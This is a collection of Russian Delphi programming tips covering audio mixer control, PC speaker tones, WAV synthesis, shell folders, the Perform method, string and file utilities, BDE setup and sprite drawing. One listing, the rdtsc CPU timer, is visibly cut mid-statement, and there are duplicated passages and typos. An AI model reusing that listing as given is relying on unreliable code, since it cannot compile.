    Controls.dwLineID := Line.dwLineID;
    Controls.cControls := 1;
    Controls.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
    Controls.cbmxctrl := SizeOf(Control);
    Controls.pamxctrl := @Control;
    Result := mixerGetLineControls(Mixer, @Controls,
      MIXER_GETLINECONTROLSF_ONEBYTYPE);
  end;
end;
procedure SetMasterMuteValue(
  Mixer: hMixerObj;
  Value: Boolean);
var
  MasterMute: TMixerControl;
  Details: TMixerControlDetails;
  BoolDetails: TMixerControlDetailsBoolean;
  Code: MMResult;
begin
  Code := GetMasterMute(0, MasterMute);
  if Code = MMSYSERR_NOERROR then
  begin
    with Details do
    begin
      cbStruct := SizeOf(Details);
      dwControlID := MasterMute.dwControlID;
      cChannels := 1;
      cMultipleItems := 0;
      cbDetails := SizeOf(BoolDetails);
      paDetails := @BoolDetails;
    end;
    LongBool(BoolDetails.fValue) := Value;
    Code := mixerSetControlDetails(0, @Details,
      MIXER_SETCONTROLDETAILSF_VALUE);
  end;
  if Code <> MMSYSERR_NOERROR then
    raise Exception.CreateFmt('SetMasterMuteValue failure, ' +
      'multimedia system error #%d', [Code]);
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  SetMasterMuteValue(0, CheckBox1.Checked); // Mixer device #0 mute on/off
end;

Звук через PC Speaker.

Статьи по Delphi (016)…

Автор: Nomadic.

procedure TForm1.mybeep(Tone: Word; Delay: Integer);
begin
  asm
    mov   al,  0b6H
    out   43H, al
    mov ax,Tone
    out 42h,al
    ror ax,8
    out 42h,al
    in    al,  61H
    or    al,  03H
    out   61H, al
  end;
  sleep(Delay);
  asm
    in    al,  61H
    and   al,  0fcH
    out   61H, al
  end;
end;

Как вывести звук через звуковую карту.

Автор: http://www.swissdelphicenter.ch

uses
  MMSystem;
type
  TVolumeLevel = 0..127;
procedure MakeSound(Frequency {Hz}, Duration {mSec}: Integer; Volume:
  TVolumeLevel);
{writes tone to memory and plays it}
var
  WaveFormatEx: TWaveFormatEx;
  MS: TMemoryStream;
  i, TempInt, DataCount, RiffCount: integer;
  SoundValue: byte;
  w: double; // omega ( 2 * pi * frequency)
const
  Mono: Word = $0001;
  SampleRate: Integer = 11025; // 8000, 11025, 22050, or 44100
  RiffId: string = 'RIFF';
  WaveId: string = 'WAVE';
  FmtId: string = 'fmt ';
  DataId: string = 'data';
begin
  if Frequency > (0.6 * SampleRate) then
  begin
    ShowMessage(Format('Sample rate of %d is too Low to play a tone of %dHz',
      [SampleRate, Frequency]));
    Exit;
  end;
  with WaveFormatEx do
  begin
    wFormatTag := WAVE_FORMAT_PCM;
    nChannels := Mono;
    nSamplesPerSec := SampleRate;
    wBitsPerSample := $0008;
    nBlockAlign := (nChannels * wBitsPerSample) div 8;
    nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
    cbSize := 0;
  end;
  MS := TMemoryStream.Create;
  with MS do
  begin
    {Calculate length of sound data and of file data}
    DataCount := (Duration * SampleRate) div 1000; // sound data
    RiffCount := Length(WaveId) + Length(FmtId) + SizeOf(DWORD) +
      SizeOf(TWaveFormatEx) + Length(DataId) + SizeOf(DWORD) + DataCount;
        // file data
    {write out the wave header}
    Write(RiffId[1], 4); // 'RIFF'
    Write(RiffCount, SizeOf(DWORD)); // file data size
    Write(WaveId[1], Length(WaveId)); // 'WAVE'
    Write(FmtId[1], Length(FmtId)); // 'fmt '
    TempInt := SizeOf(TWaveFormatEx);
    Write(TempInt, SizeOf(DWORD)); // TWaveFormat data size
    Write(WaveFormatEx, SizeOf(TWaveFormatEx)); // WaveFormatEx record
    Write(DataId[1], Length(DataId)); // 'data'
    Write(DataCount, SizeOf(DWORD)); // sound data size
    {calculate and write out the tone signal}// now the data values
    w := 2 * Pi * Frequency; // omega
    for i := 0 to DataCount - 1 do
    begin
      SoundValue := 127 + trunc(Volume * sin(i * w / SampleRate));
        // wt = w * i / SampleRate
      Write(SoundValue, SizeOf(Byte));
    end;
    {now play the sound}
    sndPlaySound(MS.Memory, SND_MEMORY or SND_SYNC);
    MS.Free;
  end;
end;
// How to call the function:
procedure TForm1.Button1Click(Sender: TObject);
begin
  MakeSound(1200, 1000, 60);
end;

Как определить уровень звука в данный момент.

Автор: TPavel WEB-сайт: http://forum.vingrad.ru

Я построил диограмму так: Назначил F:= TFileStream.Create(OpenDialog1.FileName, fmOpenRead ); Затем считал заголовок Wav- SampleCount, SamplesPerSec, BitsPerSample, Channeles. Затем считал данные- GetMem(buf, SampleCount * Channeles * BitsPerSample); Описал массив Volume- SetLength(Volume, SampleCount); Затем - F.Read(buf^, SampleCount*2); F.Free; Затем заполнил массив -

buf16 := buf;
for h := 0 to SampleCount - 1 do
begin
  Volume[h] := abs(buf16^);
  inc(buf16);
end;
FreeMem(buf);
Затем строил график(в экранных координатах) - по горизонтальной оси откладывал значения SampleCount, по вертикальной значения Volume[h]. График получается точно такой же как в SoundForge.

Единственно, я писал программу для конкретного случая - у меня файлы по 10 минут, моно, 11025 Гц., 16 бит. Так что программа у меня не универсальная. Но работает нормально. По времени: обработка файла и построение графика около 4 -5 секунд.

Как управлять спикером под 9х из Delphi.

Под WinNT/2000/XP вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания). А под 9.x/Me эта функция не реализована, но можно командовать железом через порты, и сделать универсальную:

unit BeepUnit;
// универсальная - версию виндовса проверяет
procedure Beep(Tone, Duration: Word);
procedure Sound(Freq : Word);
procedure NoSound;
procedure SetPort(address, Value:Word);
function GetPort(address:word):word;
implementation
procedure SetPort(address, Value:Word);
var
  bValue: byte;
begin
  bValue := trunc(Value and 255);
  asm
    mov dx, address
    mov al, bValue
    out dx, al
  end;
end;
function GetPort(address:word):word;
var
  bValue: byte;
begin
  asm
    mov dx, address
    in al, dx
    mov bValue, al
  end;
  GetPort := bValue;
end;
procedure Sound(Freq : Word);
var
  B : Byte;
begin
  if Freq > 18 then
  begin
    Freq := Word(1193181 div LongInt(Freq));
    B := Byte(GetPort($61));
    if (B and 3) = 0 then
    begin
      SetPort($61, Word(B or 3));
      SetPort($43, $B6);
    end;
    SetPort($42, Freq);
    SetPort($42, Freq shr 8);
  end;
end;
procedure NoSound;
var
  Value: Word;
begin
  Value := GetPort($61) and $FC;
  SetPort($61, Value);
end;
procedure Beep(Tone, Duration: Word);
begin
  if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT then
    Windows.Beep(Tone, Duration)
  else
  begin
    Sound(Tone);
    Windows.Sleep(Duration);
    NoSound;
  end;
end; 
end.

Получить пути специальных папок.

{ 
  Constants: 
  CSIDL_DESKTOP 
  CSIDL_INTERNET 
  CSIDL_PROGRAMS 
  CSIDL_CONTROLS 
  CSIDL_PRINTERS 
  CSIDL_PERSONAL 
  CSIDL_FAVORITES 
  CSIDL_STARTUP 
  CSIDL_RECENT 
  CSIDL_SENDTO 
  CSIDL_BITBUCKET 
  CSIDL_STARTMENU 
  CSIDL_DESKTOPDIRECTORY 
  CSIDL_DRIVES 
  CSIDL_NETWORK 
  CSIDL_NETHOOD 
  CSIDL_FONTS 
  CSIDL_TEMPLATES 
  CSIDL_COMMON_STARTMENU 
  CSIDL_COMMON_PROGRAMS 
  CSIDL_COMMON_STARTUP 
  CSIDL_COMMON_DESKTOPDIRECTORY 
  CSIDL_APPDATA 
  CSIDL_PRINTHOOD 
  CSIDL_ALTSTARTUP 
  CSIDL_COMMON_ALTSTARTUP 
  CSIDL_COMMON_FAVORITES 
  CSIDL_INTERNET_CACHE 
  CSIDL_COOKIES 
  CSIDL_HISTORY 
} 
uses 
  ActiveX, ShlObj; 
procedure TForm1.Button1Click(Sender: TObject); 
  // Replace CSIDL_HISTORY with the constants above 
var 
  Allocator: IMalloc; 
  SpecialDir: PItemIdList; 
  FBuf: array[0..MAX_PATH] of Char; 
  PerDir: string; 
begin 
  if SHGetMalloc(Allocator) = NOERROR then 
  begin 
    SHGetSpecialFolderLocation(Form1.Handle, CSIDL_HISTORY, SpecialDir); 
    SHGetPathFromIDList(SpecialDir, @FBuf[0]); 
    Allocator.Free(SpecialDir); 
    ShowMessage(string(FBuf)); 
  end; 
end; 
// With Windows Me/2000, the SHGetSpecialFolderLocation function 
// is superseded by ShGetFolderLocation. 
// function to get the desktop folder location: 
function GetDeskTopPath : string; 
var 
  shellMalloc: IMalloc; 
  ppidl: PItemIdList; 
  PerDir: string; 
begin 
  ppidl := nil; 
  try 
    if SHGetMalloc(shellMalloc) = NOERROR then 
    begin 
      SHGetSpecialFolderLocation(Form1.Handle, CSIDL_DESKTOP, ppidl); 
      SetLength(Result, MAX_PATH); 
      if not SHGetPathFromIDList(ppidl, PChar(Result)) then 
        raise exception.create('SHGetPathFromIDList failed : invalid pidl'); 
      SetLength(Result, lStrLen(PChar(Result))); 
    end; 
  finally 
   if ppidl <> nil then 
         shellMalloc.free(ppidl); 
  end; 
end;

Как программно щелкнуть по компоненту SpeedButton.

Разработали новый процессор на женской логике, обрабатывающий четыре логических значения: "Ни да, ни нет", "И да, и нет", "Три раза нет!" и "Нет, и не проси!!!"

Я пытался использовать SendMessage но у Speedbuttons нет "handle"... ;-(

В примере используется метод Perform класса TControl для отправки сообщения.

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  ShowMessage('Delphi World is the BEST');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
  SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;

Скорость работы процессора, точный таймер.

Автор: ISV
Новейший российский микропроцессор имеет не только повышенное быстродействие и уменьшенное энергопотребление, но и четыре удобные ручки для его переноски грузчиками, и улучшенную систему охлаждения, легко подключаемую к обычному водопроводному крану.
Данная тема уже обсуждалась, но у меня есть своя реализация сабжа. Начиная с Pentium MMX, Intel ввели в процессор счетчик тактов на 64 бита (Присутствуэт точно и в К6). Для того чтобы посотреть на его содержание, была введена команда "rdtsc" (подробное описание в интеловской мануале). Эту возможность можно использовать для реализации сабжа. Посоку Делфя не вкурсе насчет rdtsc, то пришлось юзать опкод (0F31). Привожу простенький примерчик юзания, Вы уж извините - немножко кривоват получился, да и ошибка компалера какая-то вылезла :( (V4 Bld5.104 Upd 2). Кому интересно, поделитесь своими соображениями по этому поводу. Особенно интерисует работа в режиме когда меняется частота процессора (Duty Cycle, StandBy).

Проверялось под еНТями на Пне 2 333.

// (C) 1999 ISV
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
 Controls, Forms,Dialogs,  StdCtrls, Buttons, ExtCtrls;
type  TForm1 = class(TForm)
    Label1: TLabel;
    Timer1: TTimer;
    Label2: TLabel;
    Label3: TLabel;
    Button1: TButton;
    Button2: TButton;
    Label4: TLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private    
{ Private declarations }
  public    
{ Public declarations }
    Counter:integer;
      //Счетчик срабатывания таймера    
Start:int64;              
//Начало роботы    
Previous:int64;        
//Предыдущее значение    
PStart,PStop:int64;
 //Для примера выч. времени   
 CurRate:integer;
     //Текущая частота проца    
function GetCPUClick:int64;    
function GetTime(Start,Stop:int64):double;
 end;
var  Form1: TForm1;implementation{$R *.DFM}
// Функция работает на пнях ММХ или выше а
// также проверялась на К6
function TForm1.GetCPUClick:int64;
begin
  asm    db  0fh,31h   
// Опкод для команды rdtsc
// mov dword ptr result,eax
// mov dword ptr result[4],edx
end;
// Не смешно :(. Без ?той штуки
// Компайлер выдает Internal error C1079  
Result:=Result;
end;
// Время в секундах между старт и стоп
function TForm1.GetTime(Start,Stop:int64):double;
begin
  try    result:=(Stop-Start)/CurRate  except    result:=0;
 end;
end;
// Обработчик таймера считает текущую частоту, выводит ее, а также
// усредненную частоту, текущий такт с момента старта процессора.
// При постоянной частоте процессора желательно интервал братьпобольше
// 1-5с для точного прощета частоты процессора.
procedure TForm1.Timer1Timer(Sender: TObject);
  var    i:int64;
begin
  i:=GetCPUClick;
  if Counter=0    then Start:=i    else 
begin
      Label2.Caption:=Format('Частота общая:%2f',
       [(i-Start)/(Counter*Timer1.Interval*1000)]);
      Label3.Caption:=Format('Частота текущая:%2f',
       [(i-Previous)/(Timer1.Interval*1000)]);
      CurRate:=Round(((i-Previous)*1000)/(Timer1.Interval));
    end;
  Label1.Cap примера
procedure TForm1.Button1Click(Sender: TObject);
begin
  PStart:=GetCPUClick;
end;
// Останавливаем отсчет времени и показуем соко
// прошло секунд
procedure TForm1.Button2Click(Sender: TObject);
begin
  PStop:=GetCPUClick;
  Label4.Caption:=Format!
('Время между нажатиями:%gсек',[GetTime(PStart,PStop)])
end;
end.

Как использовать проверку грамматики.

Автор: http://www.swissdelphicenter.ch

{
  If you are using Delphi 2+ and have the ActiveX component TVSSpell, it is very
  simple to add a spell checker to your TMemo applications.
  (Note: Do not use this component with a Rich Edit application because of text
  formatting problems.)
}
procedure TForm1.Button1Click(Sender: TObject);
begin
  if Memo1.Text = '' then
    Exit;
  VSSpell1.CheckText := Memo1.Text;
  if VSSpell1.ResultCode = 0 then
    Memo1.Text := VSSpell1.Text;
end;
{
  To distribute a VisualSpeller application you have to include the following
  files:
}
{
- VsSpell.HLP
- VSPELL32.OCX
- VSPELL32.DLL
- AMERICAN.VTD
- VSPELL.HLP
}

Великолепный метод Perform.

Автор: Михаил Христосенко WEB сайт: http://mihandelphi.narod.ru

В этой статье я постараюсь показать что можно делать с помощью метода Perform, и какие интересные вещи скрываются в VCL кодах (в частности messages.pas). Метод Perform дает вам возможность посылать сообщения различным компонентам. Все сообщения описаны в файле Messages.pas (настоятельно рекомендую вам его посмотреть!!!). Данный метод надо вызывать по такой схеме:

Имя_компонента.Perform(Сообщение, верхний параметр: Integer, нижний параметр: Integer);

Начнем с самого простого. Попробуем закрыть форму. Для этого поставьте на форму одну кнопку и в обработчике ее события OnClick напишите:

Form1.Perform(WM_CLOSE, 0, 0);

Теперь попробуем изменить иконку вашей программы. Поставьте на форму компонент Image и загрузите в него какую-нибудь иконку. Будем использовать сообщение WM_SETICON. А поскольку в качестве параметров необходима величина типа Integer, то мы воспользуемся указателем на иконку (handle). Теперь обработчик нажатия кнопки может иметь вид:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Perform(WM_SETICON, 0, image1.Picture.Icon.Handle);
end;

Теперь попробуем осуществить программный клик по кнопке 1. Поставьте на форму еще одну кнопку и в ее обработчике события OnClick, напишите:

Button1.Perform(WM_LBUTTONDOWN, 0, 0);
Button1.Perform(WM_LBUTTONUP, 0, 0);

А можно и попроще реализовать:

Button1.Perform(BM_CLICK, 0, 0);

Объясняю почему два обработчика. Вначале посылается сообщение, что кнопка нажата, затем сообщение - что отпущена, тогда то и происходит клик. Если вы все сделали правильно и ничего с формы не убирали, то иконка вашего приложения вновь поменяется.

Теперь маленько коснемся компонентов для работы с текстом. Для начала установите на форму компонент Memo. Будем делать с ним разные стандартные вещи: добавлять символы, копировать, вставлять, вырезать, отменять и т.д.

Начнем с вырезания текста. Обработчик кнопки поменяйте на:

Memo1.SelectAll;
Memo1.Perform(WM_CUT, 0, 0);

С начала выделяется весь текст, а потом вырезается и помещается в буфер. Также можно и копировать текст, только надо изменить сообщение на: WM_COPY. Соответственно, чтобы вставить текст из буфера напишите:

Memo1.Perform(WM_PASTE, 0, 0);

Для очистки содержимого Memo, воспользуйтесь сообщением WM_CLEAR с параметрами 0,0. Для того, чтобы отменить введенный текст напишите следующее:

Memo1.Perform(EM_UNDO, 0, 0);

Чтобы добавить символ в Memo нужно написать так:

Memo1.Perform(WM_CHAR, 192, 0);

Где 192, номер символа 'A', этот вызов метода Perform, можно заменить на аналогичный:

Memo1.Perform(WM_CHAR, LongInt(char('A')), 0);

Здесь значение символа 'A' как тип Char преобразуется в тип LongInt, а затем добавляется в Memo.

Теперь будем разбираться с Listbox' ами. Для этого добавьте его на форму а событие OnClick кнопки замените на:

Listbox1.Perform(LB_ADDSTRING, 0, LongInt(Pchar('Эта строка появится в ListBoxe')));

Если заменить LB_ADDSTRING на LB_INSERTSTRING, то строка будет вставляться в зависимости от первого параметра, который равен 0 в первом случае.

Для того, чтобы выделить какую-нибудь строку в Listbox'e зная ее имя нужно написать следующий код:

Listbox1.Perform(LB_SELECTSTRING, 0, LongInt(pchar('текст строки, которую нужно найти')));

С помощью приведенной выше строчки кода можно реализовать поиск в ListBox'e, наподобие того, как это делается в FontDialog. В текстовом поле ввода вы вводите текст, и наиболее похожий по шрифт выделяется. Чтобы это осуществить поставьте на форму компонент Edit. А в обработчике его события OnChange напишите:

Listbox1.Perform(LB_SELECTSTRING, 0, LongInt(pchar(Edit1.Text)));

Ну вот кратенький обзор метода Perform подошел к концу. Хочется посоветовать только одного, смотрите файл Messages.pas, ищите новые решения и не бойтесь пробовать, а вдруг сработает!!!

Как разделить строку на элементы.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

var
  t: TStringList;
begin
  t := TStringList.create; //создаём класс
  t.text := stringReplace('Ваша строка для разделения', ' ', #13#10,
  [rfReplaceAll]); //мы заменяем все пробелы на символы конца строки
  //теперь можно убедится что у вас строка разбина на элементы:
  showmessage(t[0]);
  showmessage(t[1]);
  showmessage(t[2]);
  showmessage(t[3]);
  ...
  //после работы надо уничтожить класс
  t.free;

Splitter Bar.

...я использую TOutline, выровненный с помощью alLeft, и desktop, выровненной по его правой части. Панель расположена после TOutline, и также выровнена с помощью alLeft. Все это дело прилипает к TOutline. Я назвал новую панель 'splitter'. "Отрегулируйте" splitter под себя, сделайте его поУже, создайте красивый контур и нарисуйте двунаправленный курсор. В приведенном ниже примере вы можете заменить TOutLine на нужный вам компонент. Создайте обработчик события мыши и напишите следующий код:

procedure TMainForm.SplitterMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  if ssLeft in Shift then 
    outline.Width := outline.Width + X;   {замените OutLine нужным вам объектом}
end;

Разрезать и соединить файлы.

{
  Parameters: 
  FileToSplit: Specify a file to split. 
  SizeofFiles: Specify the size of the files you want to split to (in bytes) 
  Progressbar: Specify a TProgressBar to show the splitting progress 
  Result: 
  SplitFile() will create files  FileName.001, FileName.002, FileName.003 and so on 
  that are SizeofFiles bytes in size. 
 } 
function SplitFile(FileName : TFileName; SizeofFiles : Integer;
ProgressBar : TProgressBar) : Boolean;
var
  i : Word; 
  fs, sStream: TFileStream; 
  SplitFileName: String; 
begin
  ProgressBar.Position := 0; 
  fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); 
  try 
    for i := 1 to Trunc(fs.Size / SizeofFiles) + 1 do 
    begin 
      SplitFileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i)); 
      sStream := TFileStream.Create(SplitFileName, fmCreate or fmShareExclusive); 
      try 
        if fs.Size - fs.Position < SizeofFiles then 
          SizeofFiles := fs.Size - fs.Position; 
        sStream.CopyFrom(fs, SizeofFiles); 
        ProgressBar.Position := Round((fs.Position / fs.Size) * 100); 
      finally 
        sStream.Free; 
      end; 
    end; 
  finally 
    fs.Free; 
  end; 
end; 
// Combine files / Dateien zиsаmmеnfьhгеn 
{ 
  Parameters: 
  FileName: Specify the first piece of the splitted files 
  CombinedFileName: Specify the combined file name. (the output file) 
  Result: 
  CombineFiles() will create one large file from the pieces 
 } 
function CombineFiles(FileName, CombinedFileName : TFileName) : Boolean; 
var 
  i: integer; 
  fs, sStream: TFileStream; 
  filenameOrg: String; 
begin 
  i := 1; 
  fs := TFileStream.Create(CombinedFileName, fmCreate or fmShareExclusive); 
  try 
    while FileExists(FileName) do 
    begin 
      sStream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); 
      try 
        fs.CopyFrom(sStream, 0); 
      finally 
        sStream.Free; 
      end; 
      Inc(i); 
      FileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i)); 
    end; 
  finally 
    fs.Free; 
  end; 
end; 
// Examples: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  SplitFile('C:\temp\FileToSplit.chm',1000000, ProgressBar1); 
end; 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  CombineFiles('C:\temp\FileToSplit.001','H:\temp\FileToSplit.chm'); 
end;

Разделить строку на слова.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure SplitTextIntoWords(const S: string; words: TstringList);
 var
   startpos, endpos: Integer;
 begin
   Assert(Assigned(words));
   words.Clear;
   startpos := 1;
   while startpos <= Length(S) do
   begin
     // skip non-letters 
    while (startpos <= Length(S)) and not IsCharAlpha(S[startpos]) do
       Inc(startpos);
     if startpos <= Length(S) then
     begin
       // find next non-letter 
      endpos := startpos + 1;
       while (endpos <= Length(S)) and IsCharAlpha(S[endpos]) do
         Inc(endpos);
       words.Add(Copy(S, startpos, endpos - startpos));
       startpos := endpos + 1;
     end; { If }
   end; { While }
 end; { SplitTextIntoWords }
 function StringMatchesMask(S, mask: string;
   case_sensitive: Boolean): Boolean;
 var
   sIndex, maskIndex: Integer;
 begin
   if not case_sensitive then
   begin
     S    := AnsiUpperCase(S);
     mask := AnsiUpperCase(mask);
   end; { If }
   Result    := True; // blatant optimism 
  sIndex    := 1;
   maskIndex := 1;
   while (sIndex <= Length(S)) and (maskIndex <= Length(mask)) do
   begin
     case mask[maskIndex] of
       '?':
         begin
           // matches any character 
          Inc(sIndex);
           Inc(maskIndex);
         end; { case '?' }
       '*':
         begin
           // matches 0 or more characters, so need to check for 
          // next character in mask 
          Inc(maskIndex);
           if maskIndex > Length(mask) then
             // * at end matches rest of string 
            Exit
           else if mask[maskindex] in ['*', '?'] then
             raise Exception.Create('Invalid mask');
           // look for mask character in S 
          while (sIndex <= Length(S)) and
             (S[sIndex] <> mask[maskIndex]) do
             Inc(sIndex);
           if sIndex > Length(S) then
           begin
             // character not found, no match 
            Result := False;
             Exit;
           end;
           { If }
         end; { Case '*' }
       else if S[sIndex] = mask[maskIndex] then
         begin
           Inc(sIndex);
           Inc(maskIndex);
         end { If }
         else
           begin
             // no match 
            Result := False;
             Exit;
           end;
     end; { Case }
   end; { While }
   // if we have reached the end of both S and mask we have a complete 
  // match, otherwise we only have a partial match 
  if (sIndex <= Length(S)) or (maskIndex <= Length(mask)) then
     Result := False;
 end; { stringMatchesMask }
 procedure FindMatchingWords(const S, mask: string;
   case_sensitive: Boolean; matches: Tstrings);
 var
   words: TstringList;
   i: Integer;
 begin
   Assert(Assigned(matches));
   words := TstringList.Create;
   try
     SplitTextIntoWords(S, words);
     matches.Clear;
     for i := 0 to words.Count - 1 do
     begin
       if stringMatchesMask(words[i], mask, case_sensitive) then
         matches.Add(words[i]);
     end; { For }
   finally
     words.Free;
   end;
 end;
 { 
 The Form has one TMemo for the text to check, one TEdit for the mask, 
 one TCheckbox (check = case sensitive), one TListbox for the results, 
 one Tbutton 
}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   FindMatchingWords(memo1.Text, edit1.Text, checkbox1.Checked, listbox1.Items);
 end;

Существует ли способ для определение числа заданий Sроо1ега печати.

Вопрос: Существует ли способ для определение числа заданий sроо1ега печати? Ответ: Sроо1ега печати Windows посылает WM_SPOOLERSTATUS каждый раз при добавлении и удалении заданий в очереди печати. В следующем примере показано как перехватить это сообщение

Пример:

type
  TForm1 = class(TForm)
    Label1: TLabel;
  private
    { Private declarations }
    procedure WM_SpoolerStatus(var Msg: TWMSPOOLERSTATUS);
      message WM_SPOOLERSTATUS;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WM_SpoolerStatus(var Msg: TWMSPOOLERSTATUS);
begin
  Lable1.Caption := IntToStr(msg.JobsLeft) +
    ' Jobs currenly in spooler';
  msg.Result := 0;
end;

Распространение BDE.

Следуйте приведенной ниже инструкции для разворачивания BDE на клиентской машине: Отформатируйте две дискеты в дисководе клиентской машины. Пометьте дискеты как "Disk 1" и "Disk 2". Скопируйте файлы с DELPHI CD, содержащиеся в каталоге \REDIST\BDEINST\DISK1 на дискету, помеченную как "Disk 1", и файлы из каталога \REDIST\BDEINST\DISK2 на дискету "Disk 2". Вставьте в дисковод клиентской машины дискету, помеченную как "BDE Install 1" (в нашем примере мы используем дисковод с буквой A:). Убедитесь в том, что в Windows отсутствуют запущенные программы. В Windows Program Manager выберите File|Run, введите в поле редактирования командной строки ("Command Line") "A:\DISK1\SETUP" и нажмите "OK" для начала установки Borland Database Engine на клиентской машине. Сначала, на короткое время, появится окно "Database Engine Install", затем диалог "preparing to install...", и, наконец, диалог "BDE Redisttributable", содержащий кнопки Continue (Продолжить) и Exit (Выйти). Нажмите "Continue". Появится диалог "Borland Database Engine Location Settings", позволяющий изменить каталог установки программ BDE и конфигурационных файлов. Оставьте настройки по умолчанию и нажмите "Continue" (Продолжить). Появится диалог "Borland Database Engine Installation", позволяющий вернуться к предыдущим диалогам или начать установку. Нажмите "Install" (Установить). Процесс копирования дискеты "Disk 1" будет отображаться полоской прогресса. Появится диалог "BDE Redistributable Install Request". Вставьте дискету "Disk 2". Нажмите "continue" (Продолжить). По окончании процедуры установки появится диалог "Borland Database Engine Installation Notification", сообщающий об успешной установке BDE. Нажмите "Exit" (Выход). Завершите работу Windows, удалите дискету из дисковода и перегрузите клиентскую машину.Если настройки по умолчанию уже где-то используются, произойдут изменения, указанные ниже. На клиентской машине появятся два новых каталога - \IDAPI и \IDAPI\LANGDRV. Обратите внимание на то, что утилита BDE Configuration Utility, BDECFG.EXE, располагается в каталоге \IDAPI. Языковые драйвера располагаются в каталоге \IDAPI\LANGDRV как файлы *.LD. AUTOEXEC.BAT, CONFIG.SYS и SYSTEM.INI при инсталляции не изменяются. WIN.INI в каталоге \WINDOWS\SYSTEM будет иметь новые секции:
[IDAPI]
DLLPATH=C:\IDAPI
CONFIGFILE01=C:\IDAPI\IDAPI.CFG
[Borland Language Drivers]
LDPath=C:\IDAPI\LANGDRV

Работа со спрайтами.

Содержание.

Введение Спрайты c готовой маской Спрайты c программной маской Transparent Использование TImageList Использование Direct X Список ссылок Введение Для начала нужно разобраться, что же такое спрайт. Вот такое описание я нашел в книге Андрэ Ла Мота: " Знаете, есть такой газированный напиток... Снова шучу. На самом деле спрайты - это маленькие объектики, которые находятся на игровом поле и могут двигаться. Этот термин прижился с легкой руки программистов фирмы Atari и Apple в середине 70-х годов. Спрайты - это персонажи в играх для ПК, которые могут без труда перемещаться по экрану, изменять цвет и размер " И так, спрайт это персонаж игры. Не углубляясь в дебри программирования, могу сказать что спрайт это массив из цветов - для простаты представим его как BMP файл или TBitmap, тем более что, этот формат поддерживаемый windows и не содержащий компрессии. Что нам нужно от спрайта - заставить его появляться на экране и образовывать анимацию. Анимация это не только смена координаты спрайта, но и изменение самой картинки. Следовательно спрайт может иметь не одно изображение, а несколько. Смена их и приводит к анимации. Как я уже говорил спрайт это матрица. При вписывании в кравдрат ( прямоугольник ) сложного объекта, например волшебника из рисунка ниже, остается свободное пространство. Его заполняют цветом, которого нет в изображении самого объекта. При простом копировании этой матрицы ( или для простоты BMP или TBitmap ) на экран выводится и волшебник и фон под ним. Но нам это не всегда, подчеркну не всегда, нужно. Если спрайт выводится на фон, то он затирает все квадратную область.

Как я уже говорил спрайт это матрица. При вписывании в кравдрат ( прямоугольник ) сложного объекта, например волшебника из рисунка ниже, остается свободное пространство. Его заполняют цветом, которого нет в изображении самого объекта. При простом копировании этой матрицы ( или для простоты BMP или TBitmap ) на экран выводится и волшебник и фон под ним. Но нам это не всегда, подчеркну не всегда, нужно. Если спрайт выводится на фон, то он затирает все квадратную область.

Статьи по Delphi (016)… Не правда ли есть разница, и довольно заметная. При выводе на экран использовался один и тот же рисунок, но все зависит от способа выведения спрайта. 1-й способ ( маг в белом квадрате ) основан на простом копировании одной области памяти в другую. 2-й способ ( маг на фоне ) то же копирование, но интеллектуальное. Копирование происходит по следующему алгоритму: Если цвет копируемого элементы матрицы ( область памяти ) соответствует значению цвета Transparent Color, то копирования не происходит, переходим к следующему элементу. 3-й способ так же основан на копирование области памяти, но с применением логических операций - маски. Спрайты c готовой маской

Способов вывести спрайт на поверхность экрана много. Рассмотрим один из них. Это способ, когда отдельно рисуется спрайт и отдельно маска. Для этого нам понадобится сам спрайт, его маска и буфер.

Статьи по Delphi (016)… Спрайт Статьи по Delphi (016)… Маска спрайта

И спрайт и маска должны иметь одинаковый размер, в данном примере 50x50. Для чего нужна маска? Она нужна для того, чтобы при выводе спрайта не затиралось изображение, которое находится под ним. Маску можно заготовить отдельно в BMP файле - более быстрый способ, а можно рассчитать программно.Спрайт и маску помещаем в TBitmap.

Wizard := Tbitmap.Create;
Wizard.Loadfromfile('spr1.bmp'); // Bitmap для спрайта
WizardMask := Tbitmap.Create;
WizardMask.Loadfromfile('spr2.bmp'); // Bitmap для маски

Ну вот, у нас есть спрайт, маска и нам это вывести его на экран. Для этого существует функция Win32Api:

BitBlt (param_1,X1,Y1,dX1,dY1,param_2,X2,Y2,param_3);
Param_1 - Handle на поверхность куда выводить. X1,Y1 - Смещение от начала координат. dX1,dY1 - Размер выводимого изображения. Param_2 - Handle откуда брать. X2,Y2 - Размер выводимого изображения. Param_3 - Параметры копирования. Для нашего случая:
BitBlt(Buffer.Canvas.Handle,X,Y,50,50, WizardMask.Canvas.Handle,0,0,SrcPaint); 
BitBlt(Buffer.Canvas.Handle,X,Y,50,50, Wizard.Canvas.Handle,0,0,SrcAnd); 
SrcPaint - Копировать только белое. SrcAnd - Копировать все кроме белого. Сначала выводим маску с параметром SrcPaint, а затем в тоже место ( координаты X,Y) сам спрайт с параметром SrcAnd.

